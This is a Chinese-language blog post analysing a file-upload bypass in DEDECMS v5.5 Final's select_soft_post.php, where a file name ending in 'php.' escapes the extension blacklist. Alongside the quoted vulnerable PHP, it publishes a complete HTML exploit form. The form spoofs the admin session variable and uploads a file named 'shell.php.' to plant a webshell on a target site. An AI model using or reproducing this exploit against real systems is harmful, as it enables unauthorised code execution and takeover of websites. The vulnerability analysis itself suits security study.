st0p's blog » DEDECMS v5.5 http://www.st0p.org/blog 孤高之路不可走,一时的弱者,不是一辈子的弱者! Tue, 03 Jan 2012 10:48:58 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 DEDECMS v5.5 Final select_soft_post.php 漏洞 http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html http://www.st0p.org/blog/archives/dedecms-v5-5-final-select_soft_post-php-vulnerability.html#comments Mon, 08 Mar 2010 17:22:23 +0000 st0p http://www.st0p.org/blog/?p=389 作者:st0p
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今天才从Wolves Security Team看到toby57大牛发布的"DEDECMS v5.5 GBK Final 的一个鸡肋漏洞"这篇文章,原文地址:http://bbs.wolvez.org/topic/125/

自己本地测试了一下,覆盖SESSION这个有点鸡胁才是真的,因为要求session.auto_start = 1的情况下,一般session.auto_start这个是关闭的,所以很鸡胁.不过后面的拿SHELL当你成功进入后台的情况下就能用了..

而且session.auto_start一般是要和session_start()一起用的.查了一下资料,只有在session.auto_start开启的情况下,先调用session_start(),然后才有可能.不过具体杂覆盖的SESSION我还没去看,唉,要真找下去头非晕不可...有空在看吧..

我看了一下,其实GBK和UTF8都存在这个问题,不知道发现这个的大牛为啥只是把标题写了GBK...

看了一下/include/dialog/select_soft_post.php

问题主要出现在手工指定文件名后,更名的部分.当我们的名字为st0p.php.的时候,注意,php后还有个点,就可以跳过验证,看代码

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......
//文件名（前为手工指定， 后者自动处理）
if(!empty($newname))
{
	$filename = $newname; //当我们的新名称为st0p.php.的时候
	if(!ereg("\.", $filename)) $fs = explode('.', $uploadfile_name); //当$filename中不含有.的时候调用
	else $fs = explode('.', $filename); //当$filename中含有.时调用
	if(eregi($cfg_not_allowall, $fs[count($fs)-1])) //$fs[count($fs)-1]得到的值为空,跳过验证
	{
		ShowMsg("你指定的文件名被系统禁止！",'javascript:;');
		exit();
	}
	if(!ereg("\.", $filename)) $filename = $filename.'.'.$fs[count($fs)-1];
}
else
{
	$filename = $cuserLogin->getUserID().'-'.dd2char(MyDate('ymdHis',$nowtme));
	$fs = explode('.', $uploadfile_name);
	if(eregi($cfg_not_allowall, $fs[count($fs)-1]))
	{
		ShowMsg("你上传了某些可能存在不安全因素的文件，系统拒绝操作！",'javascript:;');
		exit();
	}
	$filename = $filename.'.'.$fs[count($fs)-1];
}
$fullfilename = $cfg_basedir.$activepath.'/'.$filename; //嘿嘿,跳过验证,$filename还为st0p.php.
$fullfileurl = $activepath.'/'.$filename;
move_uploaded_file($uploadfile,$fullfilename) or die("上传文件到 $fullfilename 失败！");
@unlink($uploadfile);
......

EXP如下

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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DEDECMS v5.5 Final select_soft_post.php EXP</title>
<script type="text/javascript">
function fsubmit(){
    var form = document.forms[0];
    form.action = form.target.value + form.path.value;
    tmpstr = form.target.value +'/'+ form.newname.value;
    form.bkurl.value = tmpstr.substr(0,tmpstr.length-1);
    form.submit();
    }
</script>
<style type="text/css">
<!--
body {
	text-align: center;
}
-->
</style>
</head>
 
<body>
<h3>DEDECMS v5.5 Final select_soft_post.php EXP</h3>
<form action="" method="post" enctype="multipart/form-data">
  <p>
    <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
    <input type="hidden" name="bkurl" value="1" />
    <label>Target:
      <input name="target" type="text" id="target" value="http://target" />
    </label>
    <label>Path:
      <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
    </label>
    <label>File:
      <input type="file" name="uploadfile" id="uploadfile" />
    </label>
    <label>NewName:
      <input name="newname" type="text" id="newname" value="shell.php." />
    </label>
    &nbsp;<input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
  </p>
</form>
</body>
</html>
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